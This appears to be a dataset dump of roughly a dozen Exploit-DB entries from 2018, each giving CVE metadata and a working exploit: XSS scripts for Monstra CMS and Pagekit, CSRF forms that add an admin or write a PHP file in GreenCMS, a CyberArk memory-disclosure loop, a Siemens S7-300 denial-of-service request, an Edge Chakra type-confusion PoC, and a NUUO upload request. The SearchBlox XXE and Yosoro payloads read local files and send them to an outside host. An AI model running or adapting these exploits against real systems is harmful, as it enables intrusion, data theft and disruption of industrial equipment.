QLWD/code_shield huggingface dataset:
标题: Monstra CMS < 3.0.4 - Cross-Site Scripting (1) EDB-ID: 44855 CVE: 2018-10118 类型: WEBAPPS 平台: PHP 发布日期: 2018-06-07 漏洞利用脚本: # Title: Monstra CMS < 3.0.4 - Cross-Site Scripting
# Date: 2018-06-07
# Author: DEEPIN2
# Software: Monstra CMS
# Version: 3.0.4 and earlier
# This automation code requires Python3
# You must intercept the first request through the proxy tool to verify the CSRF token.

import requests
import re

def runXSS(target, cookie, data):
 exploit = requests.post(target, cookies=cookie, data=data).text
 if re.search('exploit', exploit):
  return 'OK'
 else:
  return 'ERROR'
 
if __name__ == '__main__':
 print('''  ______     _______     ____   ___  _  ___        _  ___  _ _  ___
 / ___\ \   / / ____|   |___ \ / _ \/ |( _ )      / |/ _ \/ / |( _ )
| |    \ \ / /|  _| _____ __) | | | | |/ _ \ _____| | | | | | |/ _ `
| |___  \ V / | |__|_____/ __/| |_| | | (_) |_____| | |_| | | | (_) |
 \____|  \_/  |_____|   |_____|\___/|_|\___/      |_|\___/|_|_|\___/
  [*] Author : DEEPIN2(Junseo Lee)
---------------------------------------------------------------------''')
 print('[*] Ex) http://www.target.com -> www.target.com')
 url = input('Target : ')
 print('[*] Required admin\'s PHPSESSID.')
 PHPSESSID = input('PHPSESSID : ')
 pagename = input('Pagename : ')
 script = input('Script : ')
 target = 'http://' + url + '/admin/index.php?id=pages&action=add_page'
 cookie = {'PHPSESSID':PHPSESSID}
 data = {'csrf':'9c1763649f4e5ce611d29ef5cd10914fa61e91f5',\
   'page_title':script,\
   'page_name':pagename,\
   'page_meta_title':'',\
   'page_keywords':'',\
   'page_description':'',\
   'pages':0,\
   'templates':'index',\
   'status':'published',\
   'access':'public',\
   'editor':'',\
   'page_tags':'',\
   'add_page_and_exit':'Save+and+Exit',\
   'page_date':'9999-99-99'}

 result = runXSS(target, cookie, data)
 print('-' * 69)
 if result == 'OK':
  print('[+] LINK : http://' + url + '/' + pagename)
 else:
  print('[-] Error') URL: https://www.exploit-db.com/exploits/44855
标题: XNU Kernel - Heap Overflow Due to Bad Bounds Checking in MPTCP EDB-ID: 44849 CVE: 2018-4241 类型: DOS 平台: MULTIPLE 发布日期: 2018-06-06 漏洞利用脚本: mptcp_usr_connectx is the handler for the connectx syscall for the AP_MULTIPATH socket family.

The logic of this function fails to correctly handle source and destination sockaddrs which aren't
AF_INET or AF_INET6:

// verify sa_len for AF_INET:

  if (dst->sa_family == AF_INET &&
      dst->sa_len != sizeof(mpte->__mpte_dst_v4)) {
    mptcplog((LOG_ERR, "%s IPv4 dst len %u\n", __func__,
        dst->sa_len),
       MPTCP_SOCKET_DBG, MPTCP_LOGLVL_ERR);
    error = EINVAL;
    goto out;
  }

// verify sa_len for AF_INET6:

  if (dst->sa_family == AF_INET6 &&
      dst->sa_len != sizeof(mpte->__mpte_dst_v6)) {
    mptcplog((LOG_ERR, "%s IPv6 dst len %u\n", __func__,
        dst->sa_len),
       MPTCP_SOCKET_DBG, MPTCP_LOGLVL_ERR);
    error = EINVAL;
    goto out;
  }

// code doesn't bail if sa_family was neither AF_INET nor AF_INET6

  if (!(mpte->mpte_flags & MPTE_SVCTYPE_CHECKED)) {
    if (mptcp_entitlement_check(mp_so) < 0) {
      error = EPERM;
      goto out;
    }

    mpte->mpte_flags |= MPTE_SVCTYPE_CHECKED;
  }

// memcpy with sa_len up to 255:

  if ((mp_so->so_state & (SS_ISCONNECTED|SS_ISCONNECTING)) == 0) {
    memcpy(&mpte->mpte_dst, dst, dst->sa_len);
  }

This PoC triggers the issue to overwrite the mpte_itfinfo field leading to a controlled pointer
being passed to kfree when the socket is closed.

Please note that these lengths seem to be trusted in multiple places - I would strongly suggest auditing
this code quite thoroughly, especially as mptcp can be reached from more places as of iOS 11.

Note that the MPTCP code does seem to be quite buggy; trying to get a nice PoC working for this buffer overflow
bug I accidentally triggered the following error path:

  error = socreate_internal(dom, so, SOCK_STREAM, IPPROTO_TCP, p,
          SOCF_ASYNC, PROC_NULL);
  mpte_lock(mpte);
  if (error) {
    mptcplog((LOG_ERR, "%s: subflow socreate mp_so 0x%llx unable to create subflow socket error %d\n",
        (u_int64_t)VM_KERNEL_ADDRPERM(mp_so), error),
       MPTCP_SOCKET_DBG, MPTCP_LOGLVL_ERR);

    proc_rele(p);

    mptcp_subflow_free(mpts);
    return (error);
  }

note that first argument to mptcplog has one too few arguments. It's probably not so interesting from a security
POV but is indicative of untested code (this error path has clearly never run as it will always kernel panic.) 

This PoC is for MacOS but note that this code is reachable on iOS 11 from inside the app sandbox if you give yourself
the multipath entitlement (which app store apps can now use.)

Just run this PoC as root on MacOS for easy repro.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44849.zip URL: https://www.exploit-db.com/exploits/44849
标题: EMS Master Calendar < 8.0.0.20180520 - Cross-Site Scripting EDB-ID: 44831 CVE: 2018-11628 类型: WEBAPPS 平台: ASPX 发布日期: 2018-06-04 漏洞利用脚本: # Exploit Title: EMS Master Calendar < 8.0.0.20180520 - Reflected Cross-Site Scripting
# Date:  2018-06-01
# Exploit Author: Chris Barretto
# Vendor Homepage: https://www.emssoftware.com/
# Software Link: https://docs.emssoftware.com/Content/V44.1_ReleaseNotes.htm
# Version: Versions prior to 8.0.0.201805210 are vulnerable
# Tested on: Master Calendar v8.0.0.127
# CVE : CVE-2018-11628

# 1. Description:
# Data input into EMS Master Calendar before 8.0.0.201805210 via URL parameters are not properly sanitized,
# allowing malicious attackers to send a crafted URL and execute code in the context of the user's browser.

#2. Proof of concept:
# The following PoC URL is available:
https://example.com/MasterCalendar/RssFeeds.aspx?Name=abc<script>alert('XSS')</script>xyz URL: https://www.exploit-db.com/exploits/44831
标题: SearchBlox 8.6.7 - XML External Entity Injection EDB-ID: 44827 CVE: 2018-11586 类型: WEBAPPS 平台: JAVA 发布日期: 2018-06-04 漏洞利用脚本: # Exploit Title: SearchBlox 8.6.7 Out-Of-Band XML eXternal Entity (OOB-XXE)
# Exploit Author: Ahmet GUREL, Canberk BOLAT
# Software Link: https://www.searchblox.com/
# Version: < = SearchBlox Version 8.6.7
# Platform: Java
# Tested on: Windows
# CVE: CVE-2018-11586

# 1. DETAILS

An XML External Entity attack is a type of attack against an
application that parses XML input. This attack occurs when XML input
containing a reference to an external entity is processed by a weakly
configured XML parser. This attack may lead to the disclosure of
confidential data, denial of service, server side request forgery,
port scanning from the perspective of the machine where the parser is
located, and other system impacts. Reference:
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing

# 2. PoC:

XML external entity (XXE) vulnerability in /searchblox/api/rest/status in
SearchBlox 8.6.7 allows remote unauthenticated users to read arbitrary
files or conduct server-side request forgery (SSRF) attacks via a crafted
DTD in an XML request.

HTTP Request:
_____________

GET /searchblox/api/rest/status HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:60.0) Gecko/20100101
Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=n9uolja8nwkj15nsv66xjlzci;
XSRF-TOKEN=6098a021-0e3c-409f-9da0-b895eff3025d; AdsOnPage=5;
AdsOnSearchPage=5
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 140

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE xxe [
 <!ENTITY % dtd SYSTEM "http://192.168.1.2:7000/ext.dtd">
%dtd;
%all;
%send;]>

#Ext.dtd File :
_______________

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:///C:/windows/win.ini">
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://192.168.1.2:7000/?%file;
'>">
%all;

#HTTP Response:
_______________

Ahmets-MacBook-Pro:Desktop ahmet$ python -m SimpleHTTPServer 7000
Serving HTTP on 0.0.0.0 port 7000 ...
192.168.1.2 - - [03/Jun/2018 15:37:16] "GET /ext.dtd HTTP/1.1" 200 -
192.168.1.2 - - [03/Jun/2018 15:37:16] "GET
/?;%20for%2016-bit%20app%20support%20[fonts]%20[extensions]%20[mci%20extensions]%20[files]%20[Mail]%20MAPI=1
HTTP/1.1" 200 - URL: https://www.exploit-db.com/exploits/44827
标题: Pagekit < 1.0.13 - Cross-Site Scripting Code Generator EDB-ID: 44837 CVE: 2018-11564 类型: WEBAPPS 平台: PHP 发布日期: 2018-06-05 漏洞利用脚本: # Title: Pagekit < 1.0.13 - Cross-Site Scripting Code Generator
# Author : DEEPIN2
# Date: 2018-06-05
# Vendor: Pagekit
# Sotware: https://pagekit.com/
# Version: < 1.0.13
# CVE: 2018-11564
# python3 required

def makesvg(name, code):
 code = '<exploit:script xmlns:exploit="http://www.w3.org/1999/xhtml">' + code + '</exploit:script>'
 f = open(name, 'w+')
 f.write(code)
 f.close


if __name__ == '__main__':
 print('''
  ______     _______     ____   ___  _  ___        _ _ ____   __   _  _   
 / ___\ \   / / ____|   |___ \ / _ \/ |( _ )      / / | ___| / /_ | || |  
| |    \ \ / /|  _| _____ __) | | | | |/ _ \ _____| | |___ \| '_ \| || |_ 
| |___  \ V / | |__|_____/ __/| |_| | | (_) |_____| | |___) | (_) |__   _|
 \____|  \_/  |_____|   |_____|\___/|_|\___/      |_|_|____/ \___/   |_|  
 [*] Author : DEEPIN2(Junseo Lee)''')
 print('[*] enter name without extension, ex) test.svg -> test')
 filename = input('Filename : ') + '.svg'
 print('[*] If you want to use alert(), type "alert("bla..bla..")"')
 scriptcode = input('Script code : ')
 try:
  makesvg(filename, scriptcode)
  print('[+] Successfully make venom file "%s"' %filename)
 except Error as e:
  print(e) URL: https://www.exploit-db.com/exploits/44837
标题: CyberArk < 10 - Memory Disclosure EDB-ID: 44829 CVE: 2018-9842 类型: REMOTE 平台: LINUX 发布日期: 2018-06-04 漏洞利用脚本: # Exploit Title: CyberArk < 10 - Memory Disclosure
# Date: 2018-06-04
# Exploit Author: Thomas Zuk
# Vendor Homepage: https://www.cyberark.com/products/privileged-account-security-solution/enterprise-password-vault/
# Version: < 9.7 and < 10
# Tested on: Windows 2008, Windows 2012, Windows 7, Windows 8, Windows 10
# CVE: CVE-2018-9842

# Linux cmd line manual test: cat logon.bin | nc -vv IP 1858 | xxd
# paste the following bytes into a hexedited file named logon.bin:
#fffffffff7000000ffffffff3d0100005061636c695363726970745573657200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020202020ffffffff0000000000000000000073000000cececece00000000000000000000000000000000303d4c6f676f6efd3131353d372e32302e39302e3238fd36393d50fd3131363d30fd3130303dfd3231373d59fd3231383d5041434c49fd3231393dfd3331373d30fd3335373d30fd32323d5061636c6953637269707455736572fd3336373d3330fd0000


#!/usr/bin/python

import socket
import os
import sys

ip = "10.107.32.21"
port = 1858

# Cyber Ark port 1858 is a proprietary software and protocol to perform login and administrative services.
# The below is a sample login request that is needed to receive the memory

pacli_logon = "\xff\xff\xff\xff\xf7\x00\x00\x00\xff\xff\xff\xff\x3d\x01\x00\x00\x50\x61\x63\x6c\x69\x53\x63\x72\x69\x70\x74\x55\x73\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x20\x20\x20\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x73\x00\x00\x00\xce\xce\xce\xce\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x30\x3d\x4c\x6f\x67\x6f\x6e\xfd\x31\x31\x35\x3d\x37\x2e\x32\x30\x2e\x39\x30\x2e\x32\x38\xfd\x36\x39\x3d\x50\xfd\x31\x31\x36\x3d\x30\xfd\x31\x30\x30\x3d\xfd\x32\x31\x37\x3d\x59\xfd\x32\x31\x38\x3d\x50\x41\x43\x4c\x49\xfd\x32\x31\x39\x3d\xfd\x33\x31\x37\x3d\x30\xfd\x33\x35\x37\x3d\x30\xfd\x32\x32\x3d\x50\x61\x63\x6c\x69\x53\x63\x72\x69\x70\x74\x55\x73\x65\x72\xfd\x33\x36\x37\x3d\x33\x30\xfd\x00\x00"


for iteration in range(0, 110):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    s.send(pacli_logon)

    # recieve response
    s.recv(200)
    reply = s.recv(1500)

    # write responses to file
    file = open("cyberark_memory", "a")

    file.write("received: \n")
    file.write(reply)
    file.write("\n\n\n")
    file.close()

    s.close() URL: https://www.exploit-db.com/exploits/44829
标题: GreenCMS 2.3.0603 - Cross-Site Request Forgery (Add Admin) EDB-ID: 44826 CVE: 2018-11671 类型: WEBAPPS 平台: PHP 发布日期: 2018-06-03 漏洞利用脚本: # Exploit Title: GreenCMS v2.3.0603 CSRF vulnerability add admin
# Date: 2018-06-02
# Exploit Author: xichao
# Vendor Homepage: https://github.com/GreenCMS/GreenCMS
# Software Link: https://github.com/GreenCMS/GreenCMS
# Version: v2.3.0603
# CVE : CVE-2018-11671
 
An issue was discovered in GreenCMS v2.3.0603. There is a CSRF vulnerability that can add an admin account via index.php?m=admin&c=access&a=adduserhandle.

poc:

<span style="font-size:18px;"><!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <title>csrftest</title>  
</head>  
　　<body>  
    　　　　<form action="http://127.0.0.1//14/index.php?m=admin&c=access&a=adduserhandle" method="POST" id="transfer" name="transfer">  
　　　　　　　　<input type="hidden" name="user_id0" value="1">  
　　　　　　　　<input type="hidden" name="user_login" value="test1">
　　　　　　　　<input type="hidden" name="password" value="test1">  
　　　　　　　　<input type="hidden" name="rpassword" value="test1">  
　　　　　　　　<input type="hidden" name="user_nicename" value="123">  
　　　　　　　　<input type="hidden" name="user_email" value="123%40Qq.com">  
　　　　　　　　<input type="hidden" name="user_url" value="www.baidu.com">  
　　　　　　　　<input type="hidden" name="user_intro" value="test">  
　　　　　　　　<input type="hidden" name="user_status" value="1">  
　　　　　　　　<input type="hidden" name="role_id" value="1">
        <button type="submit" value="Submit">add admin</button>  
　　　　　　</form>  
    </body>
</html></span>

References:
http://www.iwantacve.cn/index.php/archives/39/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11671
https://github.com/GreenCMS/GreenCMS/issues/109 URL: https://www.exploit-db.com/exploits/44826
标题: GreenCMS 2.3.0603 - Cross-Site Request Forgery / Remote Code Execution EDB-ID: 44825 CVE: 2018-11670 类型: WEBAPPS 平台: PHP 发布日期: 2018-06-03 漏洞利用脚本: # Exploit Title: GreenCMS v2.3.0603 CSRF vulnerability get webshell
# Date: 2018-06-02
# Exploit Author: xichao
# Vendor Homepage: https://github.com/GreenCMS/GreenCMS
# Software Link: https://github.com/GreenCMS/GreenCMS
# Version: v2.3.0603
# CVE : CVE-2018-11670
 
An issue was discovered in GreenCMS v2.3.0603. There is a CSRF vulnerability that
allows attackers to execute arbitrary PHP code via the content parameter to index.php?m=admin&c=media&a=fileconnect.

poc:

<span style="font-size:18px;"><!DOCTYPE html> 
<html lang="en"> 
<head> 
    <meta charset="UTF-8"> 
    <title>csrftest</title> 
</head> 
<form action="http://127.0.0.1//14/index.php?m=admin&c=media&a=fileconnect" method="POST" id="transfer" name="transfer">
    <script src="http://127.0.0.1/14/index.php?m=admin&c=media&a=fileconnect&cmd=mkfile&name=xc.php&target=l1_XA&_=1527839615462"></script>
    <input type="hidden" name="cmd" value="put">
    <input type="hidden" name="target" value="l1_eGMucGhw">
　    <input type="hidden" name="content" value="<?php phpinfo();?>">
    <button type="submit" value="Submit">WebShell</button>
    </form>
    </body>
</html></span>

References:
http://www.iwantacve.cn/index.php/archives/38/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11670
https://github.com/GreenCMS/GreenCMS/issues/108 URL: https://www.exploit-db.com/exploits/44825
标题: MyBB Recent Threads Plugin 1.0 - Cross-Site Scripting EDB-ID: 44833 CVE: 2018-11715 类型: WEBAPPS 平台: PHP 发布日期: 2018-06-05 漏洞利用脚本: # Exploit Title: MyBB Recent Threads Plugin v1.0 - Cross-Site Scripting
# Date: 6/2/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://community.mybb.com/mods.php?action=view&pid=842
# Version: 1.0
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-11715


1. Description:
Creates a page that shows threads that the user has posted in when they have unread replies.

 

2. Proof of Concept:

- Create or reply to a thread with the following subject  <script>alert('XSS')</script> 
- When someone replies to the thread you will see the alert here /misc.php?action=myrecentthreads



3. Solution:
Update to 1.1 URL: https://www.exploit-db.com/exploits/44833
标题: Yosoro 1.0.4 - Remote Code Execution EDB-ID: 44803 CVE: 2018-11522 类型: WEBAPPS 平台: MACOS 发布日期: 2018-05-30 漏洞利用脚本: # Exploit title: Yosoro 1.0.4 - Remote Code Execution
# Date: 2018-05-29
# Exploit Author: Carlo Pelliccioni
# Vendor homepage: https://yosoro.coolecho.net/
# Software link: https://github.com/IceEnd/Yosoro/releases/download/v1.0.4/Yosoro-darwin-x64-1.0.4.zip
# Version: 1.0.4
# Tested on: MacOS 10.13.4
# CVE: CVE-2018-11522
#  _  _            _    _    _             ___                      _  _         
# | || | __ _  __ | |__| |_ (_)__ __ ___  / __| ___  __  _  _  _ _ (_)| |_  _  _ 
# | __ |/ _` |/ _|| / /|  _|| |\ V // -_) \__ \/ -_)/ _|| || || '_|| ||  _|| || |
# |_||_|\__,_|\__||_\_\ \__||_| \_/ \___| |___/\___|\__| \_,_||_|  |_| \__| \_, |

# Remote Code Execution (CVE-2018-11522)
# Payload: 

<webview src="data:text/html,<script>var read = require('fs').readFileSync('/etc/passwd', 'utf-8'); document.location='http://127.0.0.1:8089/'+btoa(read); </script>" nodeintegration></webview> URL: https://www.exploit-db.com/exploits/44803
标题: Microsoft Edge Chakra - EntrySimpleObjectSlotGetter Type Confusion EDB-ID: 44817 CVE: 2018-8133 类型: DOS 平台: WINDOWS 发布日期: 2018-05-31 漏洞利用脚本: /*
function opt(w, arr) {
    arr[0] = 1.1;
    let res = w.event;
    arr[0] = 2.3023e-320;
    return res;
}

let arr = [1.1];
for (let i = 0; i < 10000; i++) {
    opt(window, arr);
}

The above code will be compiled as follows:
000001a8`8000122b 48b8503dcfd5ff7f0000 mov rax,offset chakra!DOMFastPath<7>::EntrySimpleObjectSlotGetter (00007fff`d5cf3d50)  // w.event
000001a8`80001235 48ffd0          call    rax
000001a8`80001238 488b8e30bdf0ff  mov     rcx,qword ptr [rsi-0F42D0h]
000001a8`8000123f f2480f104158    movsd   xmm0,mmword ptr [rcx+58h]
000001a8`80001245 f2490f11442418  movsd   mmword ptr [r12+18h],xmm0  // arr[0] = 2.3023e-320;
...

As you can see, there's no "ImplicitCallFlags" check after the call to the "EntrySimpleObjectSlotGetter" method. The code was generated based on the assumption that the method has no side effects. But in fact, the method can have side effects. The method wraps the return value using the "CrossSite::MarshalVar" method which traverses up the prototype chain of the given object using the "GetPrototype" method, since the "GetPrototype" method may invoke the "getPrototypeOf" handler of a Proxy object, changing the type of the array in the handler will lead to type confusion.

PoC:
*/

function opt(w, arr) {
    arr[0] = 1.1;
    let res = w.event;
    arr[0] = 2.3023e-320;
    return res;
}

function main() {
    let f = document.body.appendChild(document.createElement('iframe'));
    f.contentWindow;

    for (let i = 0; i < 100000; i++) {
        opt(window, [1.1]);
    }

    let set_callback = new f.contentWindow.Function('callback', `
        window.__lookupSetter__('event').call(parent, new Proxy({}, {
            getPrototypeOf() {
                callback();
                return {};
            }
        }));`);

    let arr = [1.1];
    set_callback(() => {
        arr[0] = {};
    });

    opt(window, arr);
    alert(arr);
}

main(); URL: https://www.exploit-db.com/exploits/44817
标题: Siemens SIMATIC S7-300 CPU - Remote Denial of Service EDB-ID: 44802 CVE: 2015-2177 类型: DOS 平台: LINUX 发布日期: 2018-05-30 漏洞利用脚本: # Exploit Title: Siemens SIMATIC S7-300 CPU - Remote Denial Of Service
# Google Dork: inurl:/Portal/Portal.mwsl
# Date: 2018-05-30
# Exploit Author: t4rkd3vilz
# Vendor Homepage: https://www.siemens.com/
# Version: SIMATIC S7-300 CPU family: all versions.
# Tested on: Kali Linux
# CVE: CVE-2015-2177

#!/usr/bin/python
import socket

target_address="TargetIP"
target_port=80

buffer = "GET " + "\x42" * 2220 + " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close() URL: https://www.exploit-db.com/exploits/44802
标题: NUUO NVRmini2 / NVRsolo - Arbitrary File Upload EDB-ID: 44794 CVE: 2018-11523 类型: WEBAPPS 平台: HARDWARE 发布日期: 2018-05-29 漏洞利用脚本: # Exploit Title: NUUO NVRmini2 / NVRsolo Arbitrary File Upload Vulnerability
# Google Dork: intitle:NUUO Network Video Recorder Login
# Date: 2018-05-20
# Exploit Author: M3@Pandas
# Vendor Homepage: http://www.nuuo.com
# Software Link: N/A
# Version: all
# Tested on: PHP Linux
# CVE : CVE-2018-11523

==========================
Advisory: NUUO NVRmini2 / NVRsolo Arbitrary File Upload Vulnerability
Author: M3@pandas From DBAppSecurity
Affected Version: All
==========================
Vulnerability Description
==========================


Recetly, I found an Arbitrary File Upload Vulnerability in 'NUUO NVRmini2' program, NVRmini2 is widely used all over 
the world.


Vulnerable cgi: /upload.php


<?php
//echo $_FILES['userfile']['type'];
//echo ":";
//echo $_FILES['userfile']['size'];
//echo ":";
//echo urldecode($_FILES['userfile']['name']);
//echo ":";
//echo $_FILES['userfile']['tmp_name'];
//echo ":";
//echo $_FILES['userfile']['error'];
//echo ":";
echo $_FILES['userfile']['name'];
copy($_FILES["userfile"]["tmp_name"],$_FILES['userfile']['name']);
?>




As the code above, no any filter, so we can upload a php shell directly to the web server.


==========================
POC  EXP
==========================


1. Upload 'nuuonvr.php' to web root path:

POST /upload.php HTTP/1.1
Host: 192.168.10.1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: multipart/form-data; boundary=--------969849961
Content-Length: 162

----------969849961
Content-Disposition: form-data; name="userfile"; filename="nuuonvr.php"

?php phpinfo();@unlink(__FILE__);?
----------969849961--


2. Check if the php file is uploaded successfully:
 GET http://192.168.10.1/nuuonvr.php

 If the page returns phpinfo info, target is vulnerable! URL: https://www.exploit-db.com/exploits/44794